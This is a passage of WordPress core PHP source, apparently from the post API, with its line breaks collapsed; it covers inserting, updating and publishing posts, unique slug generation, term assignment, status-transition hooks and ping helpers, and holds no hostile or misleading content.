); } $post_name = wp_unique_post_slug( $post_name, $post_ID, $post_status, $post_type, $post_parent ); // Don't unslash. $post_mime_type = isset( $postarr['post_mime_type'] ) ? $postarr['post_mime_type'] : ''; // Expected_slashed (everything!). $data = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'post_mime_type', 'guid' ); $emoji_fields = array( 'post_title', 'post_content', 'post_excerpt' ); foreach ( $emoji_fields as $emoji_field ) { if ( isset( $data[ $emoji_field ] ) ) { $charset = $wpdb->get_col_charset( $wpdb->posts, $emoji_field ); if ( 'utf8' === $charset ) { $data[ $emoji_field ] = wp_encode_emoji( $data[ $emoji_field ] ); } } } if ( 'attachment' === $post_type ) { /** * Filters attachment post data before it is updated in or added to the database. * * @since 3.9.0 * @since 5.4.1 The `$unsanitized_postarr` parameter was added. * @since 6.0.0 The `$update` parameter was added. * * @param array $data An array of slashed, sanitized, and processed attachment post data. * @param array $postarr An array of slashed and sanitized attachment post data, but not processed. * @param array $unsanitized_postarr An array of slashed yet *unsanitized* and unprocessed attachment post data * as originally passed to wp_insert_post(). * @param bool $update Whether this is an existing attachment post being updated. */ $data = apply_filters( 'wp_insert_attachment_data', $data, $postarr, $unsanitized_postarr, $update ); } else { /** * Filters slashed post data just before it is inserted into the database. * * @since 2.7.0 * @since 5.4.1 The `$unsanitized_postarr` parameter was added. * @since 6.0.0 The `$update` parameter was added. * * @param array $data An array of slashed, sanitized, and processed post data. * @param array $postarr An array of sanitized (and slashed) but otherwise unmodified post data. * @param array $unsanitized_postarr An array of slashed yet *unsanitized* and unprocessed post data as * originally passed to wp_insert_post(). * @param bool $update Whether this is an existing post being updated. */ $data = apply_filters( 'wp_insert_post_data', $data, $postarr, $unsanitized_postarr, $update ); } $data = wp_unslash( $data ); $where = array( 'ID' => $post_ID ); if ( $update ) { /** * Fires immediately before an existing post is updated in the database. * * @since 2.5.0 * * @param int $post_ID Post ID. * @param array $data Array of unslashed post data. */ do_action( 'pre_post_update', $post_ID, $data ); if ( false === $wpdb->update( $wpdb->posts, $data, $where ) ) { if ( $wp_error ) { if ( 'attachment' === $post_type ) { $message = __( 'Could not update attachment in the database.' ); } else { $message = __( 'Could not update post in the database.' ); } return new WP_Error( 'db_update_error', $message, $wpdb->last_error ); } else { return 0; } } } else { // If there is a suggested ID, use it if not already present. if ( ! empty( $import_id ) ) { $import_id = (int) $import_id; if ( ! $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id ) ) ) { $data['ID'] = $import_id; } } if ( false === $wpdb->insert( $wpdb->posts, $data ) ) { if ( $wp_error ) { if ( 'attachment' === $post_type ) { $message = __( 'Could not insert attachment into the database.' ); } else { $message = __( 'Could not insert post into the database.' ); } return new WP_Error( 'db_insert_error', $message, $wpdb->last_error ); } else { return 0; } } $post_ID = (int) $wpdb->insert_id; // Use the newly generated $post_ID. $where = array( 'ID' => $post_ID ); } if ( empty( $data['post_name'] ) && ! in_array( $data['post_status'], array( 'draft', 'pending', 'auto-draft' ), true ) ) { $data['post_name'] = wp_unique_post_slug( sanitize_title( $data['post_title'], $post_ID ), $post_ID, $data['post_status'], $post_type, $post_parent ); $wpdb->update( $wpdb->posts, array( 'post_name' => $data['post_name'] ), $where ); clean_post_cache( $post_ID ); } if ( is_object_in_taxonomy( $post_type, 'category' ) ) { wp_set_post_categories( $post_ID, $post_category ); } if ( isset( $postarr['tags_input'] ) && is_object_in_taxonomy( $post_type, 'post_tag' ) ) { wp_set_post_tags( $post_ID, $postarr['tags_input'] ); } // Add default term for all associated custom taxonomies. if ( 'auto-draft' !== $post_status ) { foreach ( get_object_taxonomies( $post_type, 'object' ) as $taxonomy => $tax_object ) { if ( ! empty( $tax_object->default_term ) ) { // Filter out empty terms. if ( isset( $postarr['tax_input'][ $taxonomy ] ) && is_array( $postarr['tax_input'][ $taxonomy ] ) ) { $postarr['tax_input'][ $taxonomy ] = array_filter( $postarr['tax_input'][ $taxonomy ] ); } // Passed custom taxonomy list overwrites the existing list if not empty. $terms = wp_get_object_terms( $post_ID, $taxonomy, array( 'fields' => 'ids' ) ); if ( ! empty( $terms ) && empty( $postarr['tax_input'][ $taxonomy ] ) ) { $postarr['tax_input'][ $taxonomy ] = $terms; } if ( empty( $postarr['tax_input'][ $taxonomy ] ) ) { $default_term_id = get_option( 'default_term_' . $taxonomy ); if ( ! empty( $default_term_id ) ) { $postarr['tax_input'][ $taxonomy ] = array( (int) $default_term_id ); } } } } } // New-style support for all custom taxonomies. if ( ! empty( $postarr['tax_input'] ) ) { foreach ( $postarr['tax_input'] as $taxonomy => $tags ) { $taxonomy_obj = get_taxonomy( $taxonomy ); if ( ! $taxonomy_obj ) { /* translators: %s: Taxonomy name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'Invalid taxonomy: %s.' ), $taxonomy ), '4.4.0' ); continue; } // array = hierarchical, string = non-hierarchical. if ( is_array( $tags ) ) { $tags = array_filter( $tags ); } if ( current_user_can( $taxonomy_obj->cap->assign_terms ) ) { wp_set_post_terms( $post_ID, $tags, $taxonomy ); } } } if ( ! empty( $postarr['meta_input'] ) ) { foreach ( $postarr['meta_input'] as $field => $value ) { update_post_meta( $post_ID, $field, $value ); } } $current_guid = get_post_field( 'guid', $post_ID ); // Set GUID. if ( ! $update && '' === $current_guid ) { $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post_ID ) ), $where ); } if ( 'attachment' === $postarr['post_type'] ) { if ( ! empty( $postarr['file'] ) ) { update_attached_file( $post_ID, $postarr['file'] ); } if ( ! empty( $postarr['context'] ) ) { add_post_meta( $post_ID, '_wp_attachment_context', $postarr['context'], true ); } } // Set or remove featured image. if ( isset( $postarr['_thumbnail_id'] ) ) { $thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' ) || 'revision' === $post_type; if ( ! $thumbnail_support && 'attachment' === $post_type && $post_mime_type ) { if ( wp_attachment_is( 'audio', $post_ID ) ) { $thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' ); } elseif ( wp_attachment_is( 'video', $post_ID ) ) { $thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' ); } } if ( $thumbnail_support ) { $thumbnail_id = (int) $postarr['_thumbnail_id']; if ( -1 === $thumbnail_id ) { delete_post_thumbnail( $post_ID ); } else { set_post_thumbnail( $post_ID, $thumbnail_id ); } } } clean_post_cache( $post_ID ); $post = get_post( $post_ID ); if ( ! empty( $postarr['page_template'] ) ) { $post->page_template = $postarr['page_template']; $page_templates = wp_get_theme()->get_page_templates( $post ); if ( 'default' !== $postarr['page_template'] && ! isset( $page_templates[ $postarr['page_template'] ] ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_page_template', __( 'Invalid page template.' ) ); } update_post_meta( $post_ID, '_wp_page_template', 'default' ); } else { update_post_meta( $post_ID, '_wp_page_template', $postarr['page_template'] ); } } if ( 'attachment' !== $postarr['post_type'] ) { wp_transition_post_status( $data['post_status'], $previous_status, $post ); } else { if ( $update ) { /** * Fires once an existing attachment has been updated. * * @since 2.0.0 * * @param int $post_ID Attachment ID. */ do_action( 'edit_attachment', $post_ID ); $post_after = get_post( $post_ID ); /** * Fires once an existing attachment has been updated. * * @since 4.4.0 * * @param int $post_ID Post ID. * @param WP_Post $post_after Post object following the update. * @param WP_Post $post_before Post object before the update. */ do_action( 'attachment_updated', $post_ID, $post_after, $post_before ); } else { /** * Fires once an attachment has been added. * * @since 2.0.0 * * @param int $post_ID Attachment ID. */ do_action( 'add_attachment', $post_ID ); } return $post_ID; } if ( $update ) { /** * Fires once an existing post has been updated. * * The dynamic portion of the hook name, `$post->post_type`, refers to * the post type slug. * * Possible hook names include: * * - `edit_post_post` * - `edit_post_page` * * @since 5.1.0 * * @param int $post_ID Post ID. * @param WP_Post $post Post object. */ do_action( "edit_post_{$post->post_type}", $post_ID, $post ); /** * Fires once an existing post has been updated. * * @since 1.2.0 * * @param int $post_ID Post ID. * @param WP_Post $post Post object. */ do_action( 'edit_post', $post_ID, $post ); $post_after = get_post( $post_ID ); /** * Fires once an existing post has been updated. * * @since 3.0.0 * * @param int $post_ID Post ID. * @param WP_Post $post_after Post object following the update. * @param WP_Post $post_before Post object before the update. */ do_action( 'post_updated', $post_ID, $post_after, $post_before ); } /** * Fires once a post has been saved. * * The dynamic portion of the hook name, `$post->post_type`, refers to * the post type slug. * * Possible hook names include: * * - `save_post_post` * - `save_post_page` * * @since 3.7.0 * * @param int $post_ID Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. */ do_action( "save_post_{$post->post_type}", $post_ID, $post, $update ); /** * Fires once a post has been saved. * * @since 1.5.0 * * @param int $post_ID Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. */ do_action( 'save_post', $post_ID, $post, $update ); /** * Fires once a post has been saved. * * @since 2.0.0 * * @param int $post_ID Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. */ do_action( 'wp_insert_post', $post_ID, $post, $update ); if ( $fire_after_hooks ) { wp_after_insert_post( $post, $update, $post_before ); } return $post_ID; } /** * Update a post with new post data. * * The date does not have to be set for drafts. You can set the date and it will * not be overridden. * * @since 1.0.0 * @since 3.5.0 Added the `$wp_error` parameter to allow a WP_Error to be returned on failure. * @since 5.6.0 Added the `$fire_after_hooks` parameter. * * @param array|object $postarr Optional. Post data. Arrays are expected to be escaped, * objects are not. See wp_insert_post() for accepted arguments. * Default array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @param bool $fire_after_hooks Optional. Whether to fire the after insert hooks. Default true. * @return int|WP_Error The post ID on success. The value 0 or WP_Error on failure. */ function wp_update_post( $postarr = array(), $wp_error = false, $fire_after_hooks = true ) { if ( is_object( $postarr ) ) { // Non-escaped post was passed. $postarr = get_object_vars( $postarr ); $postarr = wp_slash( $postarr ); } // First, get all of the original fields. $post = get_post( $postarr['ID'], ARRAY_A ); if ( is_null( $post ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) ); } return 0; } // Escape data pulled from DB. $post = wp_slash( $post ); // Passed post category list overwrites existing category list if not empty. if ( isset( $postarr['post_category'] ) && is_array( $postarr['post_category'] ) && count( $postarr['post_category'] ) > 0 ) { $post_cats = $postarr['post_category']; } else { $post_cats = $post['post_category']; } // Drafts shouldn't be assigned a date unless explicitly done so by the user. if ( isset( $post['post_status'] ) && in_array( $post['post_status'], array( 'draft', 'pending', 'auto-draft' ), true ) && empty( $postarr['edit_date'] ) && ( '0000-00-00 00:00:00' === $post['post_date_gmt'] ) ) { $clear_date = true; } else { $clear_date = false; } // Merge old and new fields with new fields overwriting old ones. $postarr = array_merge( $post, $postarr ); $postarr['post_category'] = $post_cats; if ( $clear_date ) { $postarr['post_date'] = current_time( 'mysql' ); $postarr['post_date_gmt'] = ''; } if ( 'attachment' === $postarr['post_type'] ) { return wp_insert_attachment( $postarr, false, 0, $wp_error ); } // Discard 'tags_input' parameter if it's the same as existing post tags. if ( isset( $postarr['tags_input'] ) && is_object_in_taxonomy( $postarr['post_type'], 'post_tag' ) ) { $tags = get_the_terms( $postarr['ID'], 'post_tag' ); $tag_names = array(); if ( $tags && ! is_wp_error( $tags ) ) { $tag_names = wp_list_pluck( $tags, 'name' ); } if ( $postarr['tags_input'] === $tag_names ) { unset( $postarr['tags_input'] ); } } return wp_insert_post( $postarr, $wp_error, $fire_after_hooks ); } /** * Publish a post by transitioning the post status. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post $post Post ID or post object. */ function wp_publish_post( $post ) { global $wpdb; $post = get_post( $post ); if ( ! $post ) { return; } if ( 'publish' === $post->post_status ) { return; } $post_before = get_post( $post->ID ); // Ensure at least one term is applied for taxonomies with a default term. foreach ( get_object_taxonomies( $post->post_type, 'object' ) as $taxonomy => $tax_object ) { // Skip taxonomy if no default term is set. if ( 'category' !== $taxonomy && empty( $tax_object->default_term ) ) { continue; } // Do not modify previously set terms. if ( ! empty( get_the_terms( $post, $taxonomy ) ) ) { continue; } if ( 'category' === $taxonomy ) { $default_term_id = (int) get_option( 'default_category', 0 ); } else { $default_term_id = (int) get_option( 'default_term_' . $taxonomy, 0 ); } if ( ! $default_term_id ) { continue; } wp_set_post_terms( $post->ID, array( $default_term_id ), $taxonomy ); } $wpdb->update( $wpdb->posts, array( 'post_status' => 'publish' ), array( 'ID' => $post->ID ) ); clean_post_cache( $post->ID ); $old_status = $post->post_status; $post->post_status = 'publish'; wp_transition_post_status( 'publish', $old_status, $post ); /** This action is documented in wp-includes/post.php */ do_action( "edit_post_{$post->post_type}", $post->ID, $post ); /** This action is documented in wp-includes/post.php */ do_action( 'edit_post', $post->ID, $post ); /** This action is documented in wp-includes/post.php */ do_action( "save_post_{$post->post_type}", $post->ID, $post, true ); /** This action is documented in wp-includes/post.php */ do_action( 'save_post', $post->ID, $post, true ); /** This action is documented in wp-includes/post.php */ do_action( 'wp_insert_post', $post->ID, $post, true ); wp_after_insert_post( $post, true, $post_before ); } /** * Publish future post and make sure post ID has future post status. * * Invoked by cron 'publish_future_post' event. This safeguard prevents cron * from publishing drafts, etc. * * @since 2.5.0 * * @param int|WP_Post $post_id Post ID or post object. */ function check_and_publish_future_post( $post_id ) { $post = get_post( $post_id ); if ( ! $post ) { return; } if ( 'future' !== $post->post_status ) { return; } $time = strtotime( $post->post_date_gmt . ' GMT' ); // Uh oh, someone jumped the gun! if ( $time > time() ) { wp_clear_scheduled_hook( 'publish_future_post', array( $post_id ) ); // Clear anything else in the system. wp_schedule_single_event( $time, 'publish_future_post', array( $post_id ) ); return; } // wp_publish_post() returns no meaningful value. wp_publish_post( $post_id ); } /** * Uses wp_checkdate to return a valid Gregorian-calendar value for post_date. * If post_date is not provided, this first checks post_date_gmt if provided, * then falls back to use the current time. * * For back-compat purposes in wp_insert_post, an empty post_date and an invalid * post_date_gmt will continue to return '1970-01-01 00:00:00' rather than false. * * @since 5.7.0 * * @param string $post_date The date in mysql format. * @param string $post_date_gmt The GMT date in mysql format. * @return string|false A valid Gregorian-calendar date string, or false on failure. */ function wp_resolve_post_date( $post_date = '', $post_date_gmt = '' ) { // If the date is empty, set the date to now. if ( empty( $post_date ) || '0000-00-00 00:00:00' === $post_date ) { if ( empty( $post_date_gmt ) || '0000-00-00 00:00:00' === $post_date_gmt ) { $post_date = current_time( 'mysql' ); } else { $post_date = get_date_from_gmt( $post_date_gmt ); } } // Validate the date. $month = substr( $post_date, 5, 2 ); $day = substr( $post_date, 8, 2 ); $year = substr( $post_date, 0, 4 ); $valid_date = wp_checkdate( $month, $day, $year, $post_date ); if ( ! $valid_date ) { return false; } return $post_date; } /** * Computes a unique slug for the post, when given the desired slug and some post details. * * @since 2.8.0 * * @global wpdb $wpdb WordPress database abstraction object. * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $slug The desired slug (post_name). * @param int $post_ID Post ID. * @param string $post_status No uniqueness checks are made if the post is still draft or pending. * @param string $post_type Post type. * @param int $post_parent Post parent ID. * @return string Unique slug for the post, based on $post_name (with a -1, -2, etc. suffix) */ function wp_unique_post_slug( $slug, $post_ID, $post_status, $post_type, $post_parent ) { if ( in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ), true ) || ( 'inherit' === $post_status && 'revision' === $post_type ) || 'user_request' === $post_type ) { return $slug; } /** * Filters the post slug before it is generated to be unique. * * Returning a non-null value will short-circuit the * unique slug generation, returning the passed value instead. * * @since 5.1.0 * * @param string|null $override_slug Short-circuit return value. * @param string $slug The desired slug (post_name). * @param int $post_ID Post ID. * @param string $post_status The post status. * @param string $post_type Post type. * @param int $post_parent Post parent ID. */ $override_slug = apply_filters( 'pre_wp_unique_post_slug', null, $slug, $post_ID, $post_status, $post_type, $post_parent ); if ( null !== $override_slug ) { return $override_slug; } global $wpdb, $wp_rewrite; $original_slug = $slug; $feeds = $wp_rewrite->feeds; if ( ! is_array( $feeds ) ) { $feeds = array(); } if ( 'attachment' === $post_type ) { // Attachment slugs must be unique across all types. $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND ID != %d LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_ID ) ); /** * Filters whether the post slug would make a bad attachment slug. * * @since 3.1.0 * * @param bool $bad_slug Whether the slug would be bad as an attachment slug. * @param string $slug The post slug. */ $is_bad_attachment_slug = apply_filters( 'wp_unique_post_slug_is_bad_attachment_slug', false, $slug ); if ( $post_name_check || in_array( $slug, $feeds, true ) || 'embed' === $slug || $is_bad_attachment_slug ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_ID ) ); $suffix++; } while ( $post_name_check ); $slug = $alt_post_name; } } elseif ( is_post_type_hierarchical( $post_type ) ) { if ( 'nav_menu_item' === $post_type ) { return $slug; } /* * Page slugs must be unique within their own trees. Pages are in a separate * namespace than posts so page slugs are allowed to overlap post slugs. */ $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type IN ( %s, 'attachment' ) AND ID != %d AND post_parent = %d LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID, $post_parent ) ); /** * Filters whether the post slug would make a bad hierarchical post slug. * * @since 3.1.0 * * @param bool $bad_slug Whether the post slug would be bad in a hierarchical post context. * @param string $slug The post slug. * @param string $post_type Post type. * @param int $post_parent Post parent ID. */ $is_bad_hierarchical_slug = apply_filters( 'wp_unique_post_slug_is_bad_hierarchical_slug', false, $slug, $post_type, $post_parent ); if ( $post_name_check || in_array( $slug, $feeds, true ) || 'embed' === $slug || preg_match( "@^($wp_rewrite->pagination_base)?\d+$@", $slug ) || $is_bad_hierarchical_slug ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID, $post_parent ) ); $suffix++; } while ( $post_name_check ); $slug = $alt_post_name; } } else { // Post slugs must be unique across all posts. $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID ) ); $post = get_post( $post_ID ); // Prevent new post slugs that could result in URLs that conflict with date archives. $conflicts_with_date_archive = false; if ( 'post' === $post_type && ( ! $post || $post->post_name !== $slug ) && preg_match( '/^[0-9]+$/', $slug ) ) { $slug_num = (int) $slug; if ( $slug_num ) { $permastructs = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) ); $postname_index = array_search( '%postname%', $permastructs, true ); /* * Potential date clashes are as follows: * * - Any integer in the first permastruct position could be a year. * - An integer between 1 and 12 that follows 'year' conflicts with 'monthnum'. * - An integer between 1 and 31 that follows 'monthnum' conflicts with 'day'. */ if ( 0 === $postname_index || ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && 13 > $slug_num ) || ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && 32 > $slug_num ) ) { $conflicts_with_date_archive = true; } } } /** * Filters whether the post slug would be bad as a flat slug. * * @since 3.1.0 * * @param bool $bad_slug Whether the post slug would be bad as a flat slug. * @param string $slug The post slug. * @param string $post_type Post type. */ $is_bad_flat_slug = apply_filters( 'wp_unique_post_slug_is_bad_flat_slug', false, $slug, $post_type ); if ( $post_name_check || in_array( $slug, $feeds, true ) || 'embed' === $slug || $conflicts_with_date_archive || $is_bad_flat_slug ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID ) ); $suffix++; } while ( $post_name_check ); $slug = $alt_post_name; } } /** * Filters the unique post slug. * * @since 3.3.0 * * @param string $slug The post slug. * @param int $post_ID Post ID. * @param string $post_status The post status. * @param string $post_type Post type. * @param int $post_parent Post parent ID * @param string $original_slug The original post slug. */ return apply_filters( 'wp_unique_post_slug', $slug, $post_ID, $post_status, $post_type, $post_parent, $original_slug ); } /** * Truncate a post slug. * * @since 3.6.0 * @access private * * @see utf8_uri_encode() * * @param string $slug The slug to truncate. * @param int $length Optional. Max length of the slug. Default 200 (characters). * @return string The truncated slug. */ function _truncate_post_slug( $slug, $length = 200 ) { if ( strlen( $slug ) > $length ) { $decoded_slug = urldecode( $slug ); if ( $decoded_slug === $slug ) { $slug = substr( $slug, 0, $length ); } else { $slug = utf8_uri_encode( $decoded_slug, $length, true ); } } return rtrim( $slug, '-' ); } /** * Add tags to a post. * * @see wp_set_post_tags() * * @since 2.3.0 * * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post. * @param string|array $tags Optional. An array of tags to set for the post, or a string of tags * separated by commas. Default empty. * @return array|false|WP_Error Array of affected term IDs. WP_Error or false on failure. */ function wp_add_post_tags( $post_id = 0, $tags = '' ) { return wp_set_post_tags( $post_id, $tags, true ); } /** * Set the tags for a post. * * @since 2.3.0 * * @see wp_set_object_terms() * * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post. * @param string|array $tags Optional. An array of tags to set for the post, or a string of tags * separated by commas. Default empty. * @param bool $append Optional. If true, don't delete existing tags, just add on. If false, * replace the tags with the new tags. Default false. * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure. */ function wp_set_post_tags( $post_id = 0, $tags = '', $append = false ) { return wp_set_post_terms( $post_id, $tags, 'post_tag', $append ); } /** * Set the terms for a post. * * @since 2.8.0 * * @see wp_set_object_terms() * * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post. * @param string|array $tags Optional. An array of terms to set for the post, or a string of terms * separated by commas. Hierarchical taxonomies must always pass IDs rather * than names so that children with the same names but different parents * aren't confused. Default empty. * @param string $taxonomy Optional. Taxonomy name. Default 'post_tag'. * @param bool $append Optional. If true, don't delete existing terms, just add on. If false, * replace the terms with the new terms. Default false. * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure. */ function wp_set_post_terms( $post_id = 0, $tags = '', $taxonomy = 'post_tag', $append = false ) { $post_id = (int) $post_id; if ( ! $post_id ) { return false; } if ( empty( $tags ) ) { $tags = array(); } if ( ! is_array( $tags ) ) { $comma = _x( ',', 'tag delimiter' ); if ( ',' !== $comma ) { $tags = str_replace( $comma, ',', $tags ); } $tags = explode( ',', trim( $tags, " \n\t\r\0\x0B," ) ); } /* * Hierarchical taxonomies must always pass IDs rather than names so that * children with the same names but different parents aren't confused. */ if ( is_taxonomy_hierarchical( $taxonomy ) ) { $tags = array_unique( array_map( 'intval', $tags ) ); } return wp_set_object_terms( $post_id, $tags, $taxonomy, $append ); } /** * Set categories for a post. * * If no categories are provided, the default category is used. * * @since 2.1.0 * * @param int $post_ID Optional. The Post ID. Does not default to the ID * of the global $post. Default 0. * @param int[]|int $post_categories Optional. List of category IDs, or the ID of a single category. * Default empty array. * @param bool $append If true, don't delete existing categories, just add on. * If false, replace the categories with the new categories. * @return array|false|WP_Error Array of term taxonomy IDs of affected categories. WP_Error or false on failure. */ function wp_set_post_categories( $post_ID = 0, $post_categories = array(), $append = false ) { $post_ID = (int) $post_ID; $post_type = get_post_type( $post_ID ); $post_status = get_post_status( $post_ID ); // If $post_categories isn't already an array, make it one. $post_categories = (array) $post_categories; if ( empty( $post_categories ) ) { /** * Filters post types (in addition to 'post') that require a default category. * * @since 5.5.0 * * @param string[] $post_types An array of post type names. Default empty array. */ $default_category_post_types = apply_filters( 'default_category_post_types', array() ); // Regular posts always require a default category. $default_category_post_types = array_merge( $default_category_post_types, array( 'post' ) ); if ( in_array( $post_type, $default_category_post_types, true ) && is_object_in_taxonomy( $post_type, 'category' ) && 'auto-draft' !== $post_status ) { $post_categories = array( get_option( 'default_category' ) ); $append = false; } else { $post_categories = array(); } } elseif ( 1 === count( $post_categories ) && '' === reset( $post_categories ) ) { return true; } return wp_set_post_terms( $post_ID, $post_categories, 'category', $append ); } /** * Fires actions related to the transitioning of a post's status. * * When a post is saved, the post status is "transitioned" from one status to another, * though this does not always mean the status has actually changed before and after * the save. This function fires a number of action hooks related to that transition: * the generic {@see 'transition_post_status'} action, as well as the dynamic hooks * {@see '$old_status_to_$new_status'} and {@see '$new_status_$post->post_type'}. Note * that the function does not transition the post object in the database. * * For instance: When publishing a post for the first time, the post status may transition * from 'draft' – or some other status – to 'publish'. However, if a post is already * published and is simply being updated, the "old" and "new" statuses may both be 'publish' * before and after the transition. * * @since 2.3.0 * * @param string $new_status Transition to this post status. * @param string $old_status Previous post status. * @param WP_Post $post Post data. */ function wp_transition_post_status( $new_status, $old_status, $post ) { /** * Fires when a post is transitioned from one status to another. * * @since 2.3.0 * * @param string $new_status New post status. * @param string $old_status Old post status. * @param WP_Post $post Post object. */ do_action( 'transition_post_status', $new_status, $old_status, $post ); /** * Fires when a post is transitioned from one status to another. * * The dynamic portions of the hook name, `$new_status` and `$old_status`, * refer to the old and new post statuses, respectively. * * Possible hook names include: * * - `draft_to_publish` * - `publish_to_trash` * - `pending_to_draft` * * @since 2.3.0 * * @param WP_Post $post Post object. */ do_action( "{$old_status}_to_{$new_status}", $post ); /** * Fires when a post is transitioned from one status to another. * * The dynamic portions of the hook name, `$new_status` and `$post->post_type`, * refer to the new post status and post type, respectively. * * Possible hook names include: * * - `draft_post` * - `future_post` * - `pending_post` * - `private_post` * - `publish_post` * - `trash_post` * - `draft_page` * - `future_page` * - `pending_page` * - `private_page` * - `publish_page` * - `trash_page` * - `publish_attachment` * - `trash_attachment` * * Please note: When this action is hooked using a particular post status (like * 'publish', as `publish_{$post->post_type}`), it will fire both when a post is * first transitioned to that status from something else, as well as upon * subsequent post updates (old and new status are both the same). * * Therefore, if you are looking to only fire a callback when a post is first * transitioned to a status, use the {@see 'transition_post_status'} hook instead. * * @since 2.3.0 * @since 5.9.0 Added `$old_status` parameter. * * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param string $old_status Old post status. */ do_action( "{$new_status}_{$post->post_type}", $post->ID, $post, $old_status ); } /** * Fires actions after a post, its terms and meta data has been saved. * * @since 5.6.0 * * @param int|WP_Post $post The post ID or object that has been saved. * @param bool $update Whether this is an existing post being updated. * @param null|WP_Post $post_before Null for new posts, the WP_Post object prior * to the update for updated posts. */ function wp_after_insert_post( $post, $update, $post_before ) { $post = get_post( $post ); if ( ! $post ) { return; } $post_id = $post->ID; /** * Fires once a post, its terms and meta data has been saved. * * @since 5.6.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. * @param null|WP_Post $post_before Null for new posts, the WP_Post object prior * to the update for updated posts. */ do_action( 'wp_after_insert_post', $post_id, $post, $update, $post_before ); } // // Comment, trackback, and pingback functions. // /** * Add a URL to those already pinged. * * @since 1.5.0 * @since 4.7.0 `$post_id` can be a WP_Post object. * @since 4.7.0 `$uri` can be an array of URIs. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post $post_id Post object or ID. * @param string|array $uri Ping URI or array of URIs. * @return int|false How many rows were updated. */ function add_ping( $post_id, $uri ) { global $wpdb; $post = get_post( $post_id ); if ( ! $post ) { return false; } $pung = trim( $post->pinged ); $pung = preg_split( '/\s/', $pung ); if ( is_array( $uri ) ) { $pung = array_merge( $pung, $uri ); } else { $pung[] = $uri; } $new = implode( "\n", $pung ); /** * Filters the new ping URL to add for the given post. * * @since 2.0.0 * * @param string $new New ping URL to add. */ $new = apply_filters( 'add_ping', $new ); $return = $wpdb->update( $wpdb->posts, array( 'pinged' => $new ), array( 'ID' => $post->ID ) ); clean_post_cache( $post->ID ); return $return; } /** * Retrieve enclosures already enclosed for a post. * * @since 1.5.0 * * @param int $post_id Post ID. * @return string[] Array of enclosures for the given post. */ function get_enclosed( $post_id ) { $custom_fields = get_post_custom( $post_id ); $pung = array(); if ( ! is_array( $custom_fields ) ) { return $pung; } foreach ( $custom_fields as $key => $val ) { if ( 'enclosure' !== $key || ! is_array( $val ) ) { continue; } foreach ( $val as $enc ) { $enclosure = explode( "\n", $enc ); $pung[] = trim( $enclosure[0] ); } } /** * Filters the list of enclosures already enclosed for the given post. * * @since 2.0.0 * * @param string[] $pung Array of enclosures for the given post. * @param int $post_id Post ID. */ return apply_filters( 'get_enclosed', $pung, $post_id ); } /** * Retrieve URLs already pinged for a post. * * @since 1.5.0 * * @since 4.7.0 `$post_id` can be a WP_Post object. * * @param int|WP_Post $post_id Post ID or object. * @return string[]|false Array of URLs already pinged for the given post, false if the post is not found. */ function get_pung( $post_id ) { $post = get_post( $post_id ); if ( ! $post ) { return false; } $pung = trim( $post->pinged ); $pung = preg_split( '/\s/', $pung ); /** * Filters the list of already-pinged URLs for the given post. * * @since 2.0.0 * * @param string[] $pung Array of URLs already pinged for the given post. */ return apply_filters( 'get_pung', $pung ); } /** * Retrieve URLs that need to be pinged. * * @since 1.5.0 * @since 4.7.0 `$post_id` can be a WP_Post object. * * @param int|WP_Post $post_id Post Object or ID * @return string[]|false List of URLs yet to ping. */ function get_to_ping( $post_id ) { $post = 